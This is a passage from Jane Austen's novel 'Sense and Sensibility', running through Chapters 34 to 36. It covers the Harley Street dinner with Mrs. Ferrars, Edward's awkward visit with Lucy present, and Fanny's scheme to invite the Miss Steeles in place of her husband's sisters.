to them; +for of the quarter of an hour bestowed on Berkeley Street, +she sat at least seven minutes and a half in silence. + +Elinor wanted very much to know, though she did +not chuse to ask, whether Edward was then in town; +but nothing would have induced Fanny voluntarily +to mention his name before her, till able to tell her +that his marriage with Miss Morton was resolved on, +or till her husband's expectations on Colonel Brandon +were answered; because she believed them still so very +much attached to each other, that they could not be too +sedulously divided in word and deed on every occasion. +The intelligence however, which SHE would not give, +soon flowed from another quarter. Lucy came very shortly +to claim Elinor's compassion on being unable to see Edward, +though he had arrived in town with Mr. and Mrs. Dashwood. +He dared not come to Bartlett's Buildings for fear +of detection, and though their mutual impatience to meet, +was not to be told, they could do nothing at present +but write. + +Edward assured them himself of his being in town, +within a very short time, by twice calling in Berkeley Street. +Twice was his card found on the table, when they returned +from their morning's engagements. Elinor was pleased +that he had called; and still more pleased that she had +missed him. + +The Dashwoods were so prodigiously delighted +with the Middletons, that, though not much in the habit +of giving anything, they determined to give them-- +a dinner; and soon after their acquaintance began, +invited them to dine in Harley Street, where they had +taken a very good house for three months. Their sisters +and Mrs. Jennings were invited likewise, and John Dashwood +was careful to secure Colonel Brandon, who, always glad +to be where the Miss Dashwoods were, received his eager +civilities with some surprise, but much more pleasure. +They were to meet Mrs. Ferrars; but Elinor could not learn +whether her sons were to be of the party. The expectation +of seeing HER, however, was enough to make her interested +in the engagement; for though she could now meet Edward's +mother without that strong anxiety which had once promised +to attend such an introduction, though she could now see +her with perfect indifference as to her opinion of herself, +her desire of being in company with Mrs. Ferrars, +her curiosity to know what she was like, was as lively as ever. + +The interest with which she thus anticipated the +party, was soon afterwards increased, more powerfully +than pleasantly, by her hearing that the Miss Steeles +were also to be at it. + +So well had they recommended themselves to Lady Middleton, +so agreeable had their assiduities made them to her, +that though Lucy was certainly not so elegant, and her +sister not even genteel, she was as ready as Sir John +to ask them to spend a week or two in Conduit Street; +and it happened to be particularly convenient to the Miss +Steeles, as soon as the Dashwoods' invitation was known, +that their visit should begin a few days before the party +took place. + +Their claims to the notice of Mrs. John Dashwood, +as the nieces of the gentleman who for many years had +had the care of her brother, might not have done much, +however, towards procuring them seats at her table; +but as Lady Middleton's guests they must be welcome; and Lucy, +who had long wanted to be personally known to the family, +to have a nearer view of their characters and her own +difficulties, and to have an opportunity of endeavouring +to please them, had seldom been happier in her life, +than she was on receiving Mrs. John Dashwood's card. + +On Elinor its effect was very different. She began +immediately to determine, that Edward who lived with +his mother, must be asked as his mother was, to a party +given by his sister; and to see him for the first time, +after all that passed, in the company of Lucy!--she hardly +knew how she could bear it! + +These apprehensions, perhaps, were not founded +entirely on reason, and certainly not at all on truth. +They were relieved however, not by her own recollection, +but by the good will of Lucy, who believed herself to be +inflicting a severe disappointment when she told her +that Edward certainly would not be in Harley Street on Tuesday, +and even hoped to be carrying the pain still farther +by persuading her that he was kept away by the extreme +affection for herself, which he could not conceal when they +were together. + +The important Tuesday came that was to introduce +the two young ladies to this formidable mother-in-law. + +"Pity me, dear Miss Dashwood!" said Lucy, as they +walked up the stairs together--for the Middletons arrived +so directly after Mrs. Jennings, that they all followed +the servant at the same time--"There is nobody here but +you, that can feel for me.--I declare I can hardly stand. +Good gracious!--In a moment I shall see the person that all +my happiness depends on--that is to be my mother!"-- + +Elinor could have given her immediate relief +by suggesting the possibility of its being Miss Morton's mother, +rather than her own, whom they were about to behold; +but instead of doing that, she assured her, and with +great sincerity, that she did pity her--to the utter +amazement of Lucy, who, though really uncomfortable herself, +hoped at least to be an object of irrepressible envy to Elinor. + +Mrs. Ferrars was a little, thin woman, upright, +even to formality, in her figure, and serious, +even to sourness, in her aspect. Her complexion was sallow; +and her features small, without beauty, and naturally +without expression; but a lucky contraction of the brow +had rescued her countenance from the disgrace of insipidity, +by giving it the strong characters of pride and ill nature. +She was not a woman of many words; for, unlike people +in general, she proportioned them to the number of +her ideas; and of the few syllables that did escape her, +not one fell to the share of Miss Dashwood, whom she eyed +with the spirited determination of disliking her at all events. + +Elinor could not NOW be made unhappy by this behaviour.-- +A few months ago it would have hurt her exceedingly; but it +was not in Mrs. Ferrars' power to distress her by it now;-- +and the difference of her manners to the Miss Steeles, +a difference which seemed purposely made to humble her more, +only amused her. She could not but smile to see the graciousness +of both mother and daughter towards the very person-- +for Lucy was particularly distinguished--whom of all others, +had they known as much as she did, they would have been most +anxious to mortify; while she herself, who had comparatively +no power to wound them, sat pointedly slighted by both. +But while she smiled at a graciousness so misapplied, +she could not reflect on the mean-spirited folly from +which it sprung, nor observe the studied attentions +with which the Miss Steeles courted its continuance, +without thoroughly despising them all four. + +Lucy was all exultation on being so honorably +distinguished; and Miss Steele wanted only to be teazed +about Dr. Davies to be perfectly happy. + +The dinner was a grand one, the servants were numerous, +and every thing bespoke the Mistress's inclination +for show, and the Master's ability to support it. +In spite of the improvements and additions which were +making to the Norland estate, and in spite of its owner +having once been within some thousand pounds of being +obliged to sell out at a loss, nothing gave any symptom +of that indigence which he had tried to infer from it;-- +no poverty of any kind, except of conversation, appeared-- +but there, the deficiency was considerable. John Dashwood +had not much to say for himself that was worth hearing, +and his wife had still less. But there was no peculiar +disgrace in this; for it was very much the case with +the chief of their visitors, who almost all laboured +under one or other of these disqualifications for being +agreeable--Want of sense, either natural or improved--want +of elegance--want of spirits--or want of temper. + +When the ladies withdrew to the drawing-room +after dinner, this poverty was particularly evident, +for the gentlemen HAD supplied the discourse with some +variety--the variety of politics, inclosing land, +and breaking horses--but then it was all over; and one +subject only engaged the ladies till coffee came in, +which was the comparative heights of Harry Dashwood, +and Lady Middleton's second son William, who were nearly +of the same age. + +Had both the children been there, the affair might +have been determined too easily by measuring them at once; +but as Harry only was present, it was all conjectural +assertion on both sides; and every body had a right to +be equally positive in their opinion, and to repeat it +over and over again as often as they liked. + +The parties stood thus: + +The two mothers, though each really convinced that +her own son was the tallest, politely decided in favour +of the other. + +The two grandmothers, with not less partiality, +but more sincerity, were equally earnest in support +of their own descendant. + +Lucy, who was hardly less anxious to please one parent +than the other, thought the boys were both remarkably tall +for their age, and could not conceive that there could +be the smallest difference in the world between them; +and Miss Steele, with yet greater address gave it, +as fast as she could, in favour of each. + +Elinor, having once delivered her opinion on +William's side, by which she offended Mrs. Ferrars and +Fanny still more, did not see the necessity of enforcing +it by any farther assertion; and Marianne, when called +on for her's, offended them all, by declaring that she +had no opinion to give, as she had never thought about it. + +Before her removing from Norland, Elinor had painted +a very pretty pair of screens for her sister-in-law, +which being now just mounted and brought home, +ornamented her present drawing room; and these screens, +catching the eye of John Dashwood on his following +the other gentlemen into the room, were officiously +handed by him to Colonel Brandon for his admiration. + +"These are done by my eldest sister," said he; "and you, +as a man of taste, will, I dare say, be pleased with them. +I do not know whether you have ever happened to see any +of her performances before, but she is in general reckoned +to draw extremely well." + +The Colonel, though disclaiming all pretensions +to connoisseurship, warmly admired the screens, as he +would have done any thing painted by Miss Dashwood; +and on the curiosity of the others being of course excited, +they were handed round for general inspection. +Mrs. Ferrars, not aware of their being Elinor's work, +particularly requested to look at them; and after they had +received gratifying testimony of Lady Middletons's approbation, +Fanny presented them to her mother, considerately informing +her, at the same time, that they were done by Miss Dashwood. + +"Hum"--said Mrs. Ferrars--"very pretty,"--and without +regarding them at all, returned them to her daughter. + +Perhaps Fanny thought for a moment that her mother +had been quite rude enough,--for, colouring a little, +she immediately said, + +"They are very pretty, ma'am--an't they?" But then again, +the dread of having been too civil, too encouraging herself, +probably came over her, for she presently added, + +"Do you not think they are something in Miss +Morton's style of painting, Ma'am?--She DOES paint most +delightfully!--How beautifully her last landscape is done!" + +"Beautifully indeed! But SHE does every thing well." + +Marianne could not bear this.--She was already +greatly displeased with Mrs. Ferrars; and such ill-timed +praise of another, at Elinor's expense, though she +had not any notion of what was principally meant by it, +provoked her immediately to say with warmth, + +"This is admiration of a very particular kind!-- +what is Miss Morton to us?--who knows, or who cares, +for her?--it is Elinor of whom WE think and speak." + +And so saying, she took the screens out of her +sister-in-law's hands, to admire them herself as they +ought to be admired. + +Mrs. Ferrars looked exceedingly angry, and drawing +herself up more stiffly than ever, pronounced in retort +this bitter philippic, "Miss Morton is Lord Morton's daughter." + +Fanny looked very angry too, and her husband was +all in a fright at his sister's audacity. Elinor was +much more hurt by Marianne's warmth than she had been +by what produced it; but Colonel Brandon's eyes, as they +were fixed on Marianne, declared that he noticed only +what was amiable in it, the affectionate heart which could +not bear to see a sister slighted in the smallest point. + +Marianne's feelings did not stop here. The cold +insolence of Mrs. Ferrars's general behaviour to her sister, +seemed, to her, to foretell such difficulties and distresses +to Elinor, as her own wounded heart taught her to think +of with horror; and urged by a strong impulse of +affectionate sensibility, she moved after a moment, +to her sister's chair, and putting one arm round her neck, +and one cheek close to hers, said in a low, but eager, +voice, + +"Dear, dear Elinor, don't mind them. Don't let them +make YOU unhappy." + +She could say no more; her spirits were quite overcome, +and hiding her face on Elinor's shoulder, she burst +into tears. Every body's attention was called, and almost +every body was concerned.--Colonel Brandon rose up and went +to them without knowing what he did.--Mrs. Jennings, +with a very intelligent "Ah! poor dear," immediately gave +her her salts; and Sir John felt so desperately enraged +against the author of this nervous distress, that he +instantly changed his seat to one close by Lucy Steele, +and gave her, in a whisper, a brief account of the whole +shocking affair. + +In a few minutes, however, Marianne was recovered +enough to put an end to the bustle, and sit down among +the rest; though her spirits retained the impression +of what had passed, the whole evening. + +"Poor Marianne!" said her brother to Colonel Brandon, +in a low voice, as soon as he could secure his attention,-- +"She has not such good health as her sister,--she is very +nervous,--she has not Elinor's constitution;--and one must +allow that there is something very trying to a young woman +who HAS BEEN a beauty in the loss of her personal attractions. +You would not think it perhaps, but Marianne WAS remarkably +handsome a few months ago; quite as handsome as Elinor.-- +Now you see it is all gone." + + + +CHAPTER 35 + + +Elinor's curiosity to see Mrs. Ferrars was satisfied.-- +She had found in her every thing that could tend to make +a farther connection between the families undesirable.-- +She had seen enough of her pride, her meanness, and her +determined prejudice against herself, to comprehend all +the difficulties that must have perplexed the engagement, +and retarded the marriage, of Edward and herself, had he been +otherwise free;--and she had seen almost enough to be thankful +for her OWN sake, that one greater obstacle preserved her +from suffering under any other of Mrs. Ferrars's creation, +preserved her from all dependence upon her caprice, or any +solicitude for her good opinion. Or at least, if she did not +bring herself quite to rejoice in Edward's being fettered +to Lucy, she determined, that had Lucy been more amiable, +she OUGHT to have rejoiced. + +She wondered that Lucy's spirits could be so very much +elevated by the civility of Mrs. Ferrars;--that her interest +and her vanity should so very much blind her as to make +the attention which seemed only paid her because she was +NOT ELINOR, appear a compliment to herself--or to allow +her to derive encouragement from a preference only given her, +because her real situation was unknown. But that it was so, +had not only been declared by Lucy's eyes at the time, +but was declared over again the next morning more openly, +for at her particular desire, Lady Middleton set her down +in Berkeley Street on the chance of seeing Elinor alone, +to tell her how happy she was. + +The chance proved a lucky one, for a message from +Mrs. Palmer soon after she arrived, carried Mrs. Jennings away. + +"My dear friend," cried Lucy, as soon as they were +by themselves, "I come to talk to you of my happiness. +Could anything be so flattering as Mrs. Ferrars's way +of treating me yesterday? So exceeding affable as she +was!--You know how I dreaded the thoughts of seeing her;-- +but the very moment I was introduced, there was such an +affability in her behaviour as really should seem to say, +she had quite took a fancy to me. Now was not it so?-- +You saw it all; and was not you quite struck with it?" + +"She was certainly very civil to you." + +"Civil!--Did you see nothing but only civility?-- +I saw a vast deal more. Such kindness as fell to the share +of nobody but me!--No pride, no hauteur, and your sister +just the same--all sweetness and affability!" + +Elinor wished to talk of something else, but Lucy still +pressed her to own that she had reason for her happiness; +and Elinor was obliged to go on.-- + +"Undoubtedly, if they had known your engagement," +said she, "nothing could be more flattering than their +treatment of you;--but as that was not the case"-- + +"I guessed you would say so"--replied Lucy +quickly--"but there was no reason in the world why +Mrs. Ferrars should seem to like me, if she did not, +and her liking me is every thing. You shan't talk me +out of my satisfaction. I am sure it will all end well, +and there will be no difficulties at all, to what I +used to think. Mrs. Ferrars is a charming woman, +and so is your sister. They are both delightful women, +indeed!--I wonder I should never hear you say how agreeable +Mrs. Dashwood was!" + +To this Elinor had no answer to make, and did not +attempt any. + +"Are you ill, Miss Dashwood?--you seem low--you +don't speak;--sure you an't well." + +"I never was in better health." + +"I am glad of it with all my heart; but really you did +not look it. I should be sorry to have YOU ill; you, that have +been the greatest comfort to me in the world!--Heaven +knows what I should have done without your friendship."-- + +Elinor tried to make a civil answer, though doubting +her own success. But it seemed to satisfy Lucy, for she +directly replied, + +"Indeed I am perfectly convinced of your regard +for me, and next to Edward's love, it is the greatest +comfort I have.--Poor Edward!--But now there is one +good thing, we shall be able to meet, and meet pretty often, +for Lady Middleton's delighted with Mrs. Dashwood, +so we shall be a good deal in Harley Street, I dare say, +and Edward spends half his time with his sister--besides, +Lady Middleton and Mrs. Ferrars will visit now;-- +and Mrs. Ferrars and your sister were both so good to say +more than once, they should always be glad to see me.-- +They are such charming women!--I am sure if ever you +tell your sister what I think of her, you cannot speak +too high." + +But Elinor would not give her any encouragement +to hope that she SHOULD tell her sister. Lucy continued. + +"I am sure I should have seen it in a moment, +if Mrs. Ferrars had took a dislike to me. If she had only +made me a formal courtesy, for instance, without saying +a word, and never after had took any notice of me, +and never looked at me in a pleasant way--you know +what I mean--if I had been treated in that forbidding +sort of way, I should have gave it all up in despair. +I could not have stood it. For where she DOES dislike, +I know it is most violent." + +Elinor was prevented from making any reply to this +civil triumph, by the door's being thrown open, the servant's +announcing Mr. Ferrars, and Edward's immediately walking in. + +It was a very awkward moment; and the countenance of each +shewed that it was so. They all looked exceedingly foolish; +and Edward seemed to have as great an inclination to walk +out of the room again, as to advance farther into it. +The very circumstance, in its unpleasantest form, +which they would each have been most anxious to avoid, +had fallen on them.--They were not only all three together, +but were together without the relief of any other person. +The ladies recovered themselves first. It was not Lucy's +business to put herself forward, and the appearance of +secrecy must still be kept up. She could therefore only +LOOK her tenderness, and after slightly addressing him, +said no more. + +But Elinor had more to do; and so anxious was she, +for his sake and her own, to do it well, that she +forced herself, after a moment's recollection, +to welcome him, with a look and manner that were almost easy, +and almost open; and another struggle, another effort still +improved them. She would not allow the presence of Lucy, +nor the consciousness of some injustice towards herself, +to deter her from saying that she was happy to see him, +and that she had very much regretted being from home, +when he called before in Berkeley Street. She would +not be frightened from paying him those attentions which, +as a friend and almost a relation, were his due, by the +observant eyes of Lucy, though she soon perceived them +to be narrowly watching her. + +Her manners gave some re-assurance to Edward, and he +had courage enough to sit down; but his embarrassment still +exceeded that of the ladies in a proportion, which the case +rendered reasonable, though his sex might make it rare; +for his heart had not the indifference of Lucy's, nor +could his conscience have quite the ease of Elinor's. + +Lucy, with a demure and settled air, seemed determined +to make no contribution to the comfort of the others, +and would not say a word; and almost every thing that WAS +said, proceeded from Elinor, who was obliged to volunteer +all the information about her mother's health, their coming +to town, &c. which Edward ought to have inquired about, +but never did. + +Her exertions did not stop here; for she soon +afterwards felt herself so heroically disposed as +to determine, under pretence of fetching Marianne, +to leave the others by themselves; and she really did it, +and THAT in the handsomest manner, for she loitered away +several minutes on the landing-place, with the most +high-minded fortitude, before she went to her sister. +When that was once done, however, it was time for the raptures +of Edward to cease; for Marianne's joy hurried her into +the drawing-room immediately. Her pleasure in seeing him +was like every other of her feelings, strong in itself, +and strongly spoken. She met him with a hand that would +be taken, and a voice that expressed the affection of a sister. + +"Dear Edward!" she cried, "this is a moment of great +happiness!--This would almost make amends for every thing?" + +Edward tried to return her kindness as it deserved, +but before such witnesses he dared not say half what he +really felt. Again they all sat down, and for a moment +or two all were silent; while Marianne was looking with the +most speaking tenderness, sometimes at Edward and sometimes +at Elinor, regretting only that their delight in each +other should be checked by Lucy's unwelcome presence. +Edward was the first to speak, and it was to notice +Marianne's altered looks, and express his fear of her +not finding London agree with her. + +"Oh, don't think of me!" she replied with spirited +earnestness, though her eyes were filled with tears +as she spoke, "don't think of MY health. Elinor is well, +you see. That must be enough for us both." + +This remark was not calculated to make Edward or +Elinor more easy, nor to conciliate the good will of Lucy, +who looked up at Marianne with no very benignant expression. + +"Do you like London?" said Edward, willing to say +any thing that might introduce another subject. + +"Not at all. I expected much pleasure in it, +but I have found none. The sight of you, Edward, is the +only comfort it has afforded; and thank Heaven! you +are what you always were!" + +She paused--no one spoke. + +"I think, Elinor," she presently added, "we must +employ Edward to take care of us in our return to Barton. +In a week or two, I suppose, we shall be going; and, I trust, +Edward will not be very unwilling to accept the charge." + +Poor Edward muttered something, but what it was, +nobody knew, not even himself. But Marianne, who saw +his agitation, and could easily trace it to whatever +cause best pleased herself, was perfectly satisfied, +and soon talked of something else. + +"We spent such a day, Edward, in Harley Street +yesterday! So dull, so wretchedly dull!--But I have much +to say to you on that head, which cannot be said now." + +And with this admirable discretion did she defer +the assurance of her finding their mutual relatives more +disagreeable than ever, and of her being particularly +disgusted with his mother, till they were more in private. + +"But why were you not there, Edward?--Why did you +not come?" + +"I was engaged elsewhere." + +"Engaged! But what was that, when such friends +were to be met?" + +"Perhaps, Miss Marianne," cried Lucy, eager to take +some revenge on her, "you think young men never stand +upon engagements, if they have no mind to keep them, +little as well as great." + +Elinor was very angry, but Marianne seemed entirely +insensible of the sting; for she calmly replied, + +"Not so, indeed; for, seriously speaking, I am very +sure that conscience only kept Edward from Harley Street. +And I really believe he HAS the most delicate conscience +in the world; the most scrupulous in performing +every engagement, however minute, and however it +may make against his interest or pleasure. He is the +most fearful of giving pain, of wounding expectation, +and the most incapable of being selfish, of any body +I ever saw. Edward, it is so, and I will say it. +What! are you never to hear yourself praised!--Then you +must be no friend of mine; for those who will accept +of my love and esteem, must submit to my open commendation." + +The nature of her commendation, in the present case, +however, happened to be particularly ill-suited to the +feelings of two thirds of her auditors, and was so very +unexhilarating to Edward, that he very soon got up to go away. + +"Going so soon!" said Marianne; "my dear Edward, +this must not be." + +And drawing him a little aside, she whispered +her persuasion that Lucy could not stay much longer. +But even this encouragement failed, for he would go; +and Lucy, who would have outstaid him, had his visit lasted +two hours, soon afterwards went away. + +"What can bring her here so often?" said Marianne, +on her leaving them. "Could not she see that we wanted +her gone!--how teazing to Edward!" + +"Why so?--we were all his friends, and Lucy has been +the longest known to him of any. It is but natural +that he should like to see her as well as ourselves." + +Marianne looked at her steadily, and said, "You know, +Elinor, that this is a kind of talking which I cannot bear. +If you only hope to have your assertion contradicted, +as I must suppose to be the case, you ought to recollect +that I am the last person in the world to do it. +I cannot descend to be tricked out of assurances, that are +not really wanted." + +She then left the room; and Elinor dared not follow +her to say more, for bound as she was by her promise +of secrecy to Lucy, she could give no information that +would convince Marianne; and painful as the consequences +of her still continuing in an error might be, she was +obliged to submit to it. All that she could hope, was +that Edward would not often expose her or himself to the +distress of hearing Marianne's mistaken warmth, nor to the +repetition of any other part of the pain that had attended +their recent meeting--and this she had every reason to expect. + + + +CHAPTER 36 + + +Within a few days after this meeting, the newspapers +announced to the world, that the lady of Thomas Palmer, +Esq. was safely delivered of a son and heir; a very +interesting and satisfactory paragraph, at least to all +those intimate connections who knew it before. + +This event, highly important to Mrs. Jennings's happiness, +produced a temporary alteration in the disposal of her time, +and influenced, in a like degree, the engagements +of her young friends; for as she wished to be as much +as possible with Charlotte, she went thither every morning +as soon as she was dressed, and did not return till late +in the evening; and the Miss Dashwoods, at the particular +request of the Middletons, spent the whole of every day, +in every day in Conduit Street. For their own comfort +they would much rather have remained, at least all +the morning, in Mrs. Jennings's house; but it was not +a thing to be urged against the wishes of everybody. +Their hours were therefore made over to Lady Middleton +and the two Miss Steeles, by whom their company, in fact +was as little valued, as it was professedly sought. + +They had too much sense to be desirable companions +to the former; and by the latter they were considered with +a jealous eye, as intruding on THEIR ground, and sharing +the kindness which they wanted to monopolize. Though nothing +could be more polite than Lady Middleton's behaviour to +Elinor and Marianne, she did not really like them at all. +Because they neither flattered herself nor her children, +she could not believe them good-natured; and because they +were fond of reading, she fancied them satirical: perhaps +without exactly knowing what it was to be satirical; +but THAT did not signify. It was censure in common use, +and easily given. + +Their presence was a restraint both on her and on Lucy. +It checked the idleness of one, and the business of the other. +Lady Middleton was ashamed of doing nothing before them, +and the flattery which Lucy was proud to think of +and administer at other times, she feared they would despise +her for offering. Miss Steele was the least discomposed +of the three, by their presence; and it was in their power +to reconcile her to it entirely. Would either of them +only have given her a full and minute account of the whole +affair between Marianne and Mr. Willoughby, she would +have thought herself amply rewarded for the sacrifice +of the best place by the fire after dinner, which their +arrival occasioned. But this conciliation was not granted; +for though she often threw out expressions of pity for her +sister to Elinor, and more than once dropt a reflection +on the inconstancy of beaux before Marianne, no effect +was produced, but a look of indifference from the former, +or of disgust in the latter. An effort even yet lighter +might have made her their friend. Would they only have +laughed at her about the Doctor! But so little were they, +anymore than the others, inclined to oblige her, +that if Sir John dined from home, she might spend a whole +day without hearing any other raillery on the subject, +than what she was kind enough to bestow on herself. + +All these jealousies and discontents, however, were so +totally unsuspected by Mrs. Jennings, that she thought +it a delightful thing for the girls to be together; +and generally congratulated her young friends every night, +on having escaped the company of a stupid old woman so long. +She joined them sometimes at Sir John's, sometimes +at her own house; but wherever it was, she always came +in excellent spirits, full of delight and importance, +attributing Charlotte's well doing to her own care, and ready +to give so exact, so minute a detail of her situation, +as only Miss Steele had curiosity enough to desire. +One thing DID disturb her; and of that she made her +daily complaint. Mr. Palmer maintained the common, +but unfatherly opinion among his sex, of all infants being alike; +and though she could plainly perceive, at different times, +the most striking resemblance between this baby and every +one of his relations on both sides, there was no convincing +his father of it; no persuading him to believe that it +was not exactly like every other baby of the same age; +nor could he even be brought to acknowledge the simple +proposition of its being the finest child in the world. + +I come now to the relation of a misfortune, +which about this time befell Mrs. John Dashwood. +It so happened that while her two sisters with +Mrs. Jennings were first calling on her in Harley Street, +another of her acquaintance had dropt in--a circumstance +in itself not apparently likely to produce evil to her. +But while the imaginations of other people will carry +them away to form wrong judgments of our conduct, +and to decide on it by slight appearances, one's happiness +must in some measure be always at the mercy of chance. +In the present instance, this last-arrived lady allowed +her fancy to so far outrun truth and probability, +that on merely hearing the name of the Miss Dashwoods, +and understanding them to be Mr. Dashwood's sisters, +she immediately concluded them to be staying in Harley Street; +and this misconstruction produced within a day +or two afterwards, cards of invitation for them +as well as for their brother and sister, to a small +musical party at her house. The consequence of which was, +that Mrs. John Dashwood was obliged to submit not only +to the exceedingly great inconvenience of sending her +carriage for the Miss Dashwoods, but, what was still worse, +must be subject to all the unpleasantness of appearing +to treat them with attention: and who could tell that they +might not expect to go out with her a second time? The power +of disappointing them, it was true, must always be her's. +But that was not enough; for when people are determined +on a mode of conduct which they know to be wrong, they feel +injured by the expectation of any thing better from them. + +Marianne had now been brought by degrees, so much +into the habit of going out every day, that it was become +a matter of indifference to her, whether she went or not: +and she prepared quietly and mechanically for every +evening's engagement, though without expecting the smallest +amusement from any, and very often without knowing, +till the last moment, where it was to take her. + +To her dress and appearance she was grown so perfectly +indifferent, as not to bestow half the consideration on it, +during the whole of her toilet, which it received from +Miss Steele in the first five minutes of their being +together, when it was finished. Nothing escaped HER minute +observation and general curiosity; she saw every thing, +and asked every thing; was never easy till she knew the price +of every part of Marianne's dress; could have guessed the +number of her gowns altogether with better judgment than +Marianne herself, and was not without hopes of finding out +before they parted, how much her washing cost per week, +and how much she had every year to spend upon herself. +The impertinence of these kind of scrutinies, moreover, +was generally concluded with a compliment, which +though meant as its douceur, was considered by Marianne +as the greatest impertinence of all; for after undergoing +an examination into the value and make of her gown, +the colour of her shoes, and the arrangement of her hair, +she was almost sure of being told that upon "her word +she looked vastly smart, and she dared to say she would +make a great many conquests." + +With such encouragement as this, was she dismissed +on the present occasion, to her brother's carriage; +which they were ready to enter five minutes after it +stopped at the door, a punctuality not very agreeable +to their sister-in-law, who had preceded them to the house +of her acquaintance, and was there hoping for some delay +on their part that might inconvenience either herself +or her coachman. + +The events of this evening were not very remarkable. +The party, like other musical parties, comprehended a +great many people who had real taste for the performance, +and a great many more who had none at all; and the performers +themselves were, as usual, in their own estimation, +and that of their immediate friends, the first private +performers in England. + +As Elinor was neither musical, nor affecting to be so, +she made no scruple of turning her eyes from the grand +pianoforte, whenever it suited her, and unrestrained even +by the presence of a harp, and violoncello, would fix +them at pleasure on any other object in the room. In one +of these excursive glances she perceived among a group +of young men, the very he, who had given them a lecture +on toothpick-cases at Gray's. She perceived him soon +afterwards looking at herself, and speaking familiarly +to her brother; and had just determined to find out his +name from the latter, when they both came towards her, +and Mr. Dashwood introduced him to her as Mr. Robert Ferrars. + +He addressed her with easy civility, and twisted +his head into a bow which assured her as plainly as +words could have done, that he was exactly the coxcomb +she had heard him described to be by Lucy. Happy had +it been for her, if her regard for Edward had depended +less on his own merit, than on the merit of his nearest +relations! For then his brother's bow must have given +the finishing stroke to what the ill-humour of his mother +and sister would have begun. But while she wondered +at the difference of the two young men, she did not find +that the emptiness of conceit of the one, put her out +of all charity with the modesty and worth of the other. +Why they WERE different, Robert exclaimed to her himself +in the course of a quarter of an hour's conversation; +for, talking of his brother, and lamenting the extreme +GAUCHERIE which he really believed kept him from mixing +in proper society, he candidly and generously attributed it +much less to any natural deficiency, than to the misfortune +of a private education; while he himself, though probably +without any particular, any material superiority +by nature, merely from the advantage of a public school, +was as well fitted to mix in the world as any other man. + +"Upon my soul," he added, "I believe it is nothing more; +and so I often tell my mother, when she is grieving +about it. 'My dear Madam,' I always say to her, 'you must +make yourself easy. The evil is now irremediable, +and it has been entirely your own doing. Why would +you be persuaded by my uncle, Sir Robert, against your +own judgment, to place Edward under private tuition, +at the most critical time of his life? If you had only sent +him to Westminster as well as myself, instead of sending +him to Mr. Pratt's, all this would have been prevented.' +This is the way in which I always consider the matter, +and my mother is perfectly convinced of her error." + +Elinor would not oppose his opinion, because, +whatever might be her general estimation of the advantage +of a public school, she could not think of Edward's +abode in Mr. Pratt's family, with any satisfaction. + +"You reside in Devonshire, I think,"--was his +next observation, "in a cottage near Dawlish." + +Elinor set him right as to its situation; +and it seemed rather surprising to him that anybody +could live in Devonshire, without living near Dawlish. +He bestowed his hearty approbation however on their +species of house. + +"For my own part," said he, "I am excessively fond +of a cottage; there is always so much comfort, so much +elegance about them. And I protest, if I had any money +to spare, I should buy a little land and build one myself, +within a short distance of London, where I might drive +myself down at any time, and collect a few friends +about me, and be happy. I advise every body who is going +to build, to build a cottage. My friend Lord Courtland +came to me the other day on purpose to ask my advice, +and laid before me three different plans of Bonomi's. +I was to decide on the best of them. 'My dear Courtland,' +said I, immediately throwing them all into the fire, 'do not +adopt either of them, but by all means build a cottage.' +And that I fancy, will be the end of it. + +"Some people imagine that there can be no accommodations, +no space in a cottage; but this is all a mistake. +I was last month at my friend Elliott's, near Dartford. +Lady Elliott wished to give a dance. 'But how can it +be done?' said she; 'my dear Ferrars, do tell me how it +is to be managed. There is not a room in this cottage +that will hold ten couple, and where can the supper be?' +I immediately saw that there could be no difficulty in it, +so I said, 'My dear Lady Elliott, do not be uneasy. +The dining parlour will admit eighteen couple with ease; +card-tables may be placed in the drawing-room; the library +may be open for tea and other refreshments; and let the +supper be set out in the saloon.' Lady Elliott was delighted +with the thought. We measured the dining-room, and found +it would hold exactly eighteen couple, and the affair +was arranged precisely after my plan. So that, in fact, +you see, if people do but know how to set about it, +every comfort may be as well enjoyed in a cottage +as in the most spacious dwelling." + +Elinor agreed to it all, for she did not think +he deserved the compliment of rational opposition. + +As John Dashwood had no more pleasure in music than his +eldest sister, his mind was equally at liberty to fix on +any thing else; and a thought struck him during the evening, +which he communicated to his wife, for her approbation, +when they got home. The consideration of Mrs. Dennison's +mistake, +in supposing his sisters their guests, had suggested the +propriety of their being really invited to become such, +while Mrs. Jenning's engagements kept her from home. +The expense would be nothing, the inconvenience not more; +and it was altogether an attention which the delicacy +of his conscience pointed out to be requisite to its +complete enfranchisement from his promise to his father. +Fanny was startled at the proposal. + +"I do not see how it can be done," said she, +"without affronting Lady Middleton, for they spend every day +with her; otherwise I should be exceedingly glad to do it. +You know I am always ready to pay them any attention +in my power, as my taking them out this evening shews. +But they are Lady Middleton's visitors. How can I ask them +away from her?" + +Her husband, but with great humility, did not see +the force of her objection. "They had already spent a week +in this manner in Conduit Street, and Lady Middleton +could not be displeased at their giving the same number +of days to such near relations." + +Fanny paused a moment, and then, with fresh vigor, said, + +"My love I would ask them with all my heart, if it +was in my power. But I had just settled within myself +to ask the Miss Steeles to spend a few days with us. +They are very well behaved, good kind of girls; and I think +the attention is due to them, as their uncle did so very +well by Edward. We can ask your sisters some other year, +you know; but the Miss Steeles may not be in town any more. +I am sure you will like them; indeed, you DO like them, +you know, very much already, and so does my mother; and they +are such favourites with Harry!" + +Mr. Dashwood was convinced. He saw the necessity +of inviting the Miss Steeles immediately, and his conscience +was pacified by the resolution of inviting his sisters +another year; at the same time, however, slyly suspecting +that another year would make the invitation needless, +by bringing Elinor to town as Colonel Brandon's wife, +and Marianne as THEIR visitor. + +Fanny, rejoicing in her escape, and proud of the ready +wit that had procured it, wrote the next morning to Lucy, +to request her company and her sister's, for some days, +in Harley Street, as soon as Lady Middleton could spare them. +This was enough to make Lucy really and reasonably happy. +Mrs. Dashwood seemed actually working for her, herself; +cherishing all her hopes, and promoting all her views! +Such an opportunity of being with Edward and his family was, +above all things, the most material to her interest, +and such an invitation the most gratifying to her +feelings! It was an advantage that could not be too +gratefully acknowledged, nor too speedily made use of; +and the visit to Lady Middleton, which had not before had +any precise limits, was instantly discovered to have been +always meant to end in two days' time. + +When the note was shown to Elinor, as it was within ten +minutes after its arrival, it gave her, for the first time, +some share in the expectations of Lucy; for such a mark +of uncommon kindness, vouchsafed on so short an acquaintance, +seemed to declare that the good-will towards her arose +from something more than merely malice against herself; +and might be brought, by time and address, to do +every thing that Lucy wished. Her flattery had already +subdued the pride of Lady Middleton, and made an entry +into the close heart of Mrs. John Dashwood; and these +were effects that laid open the probability of greater. + +The Miss Steeles removed to Harley Street, and all +that reached 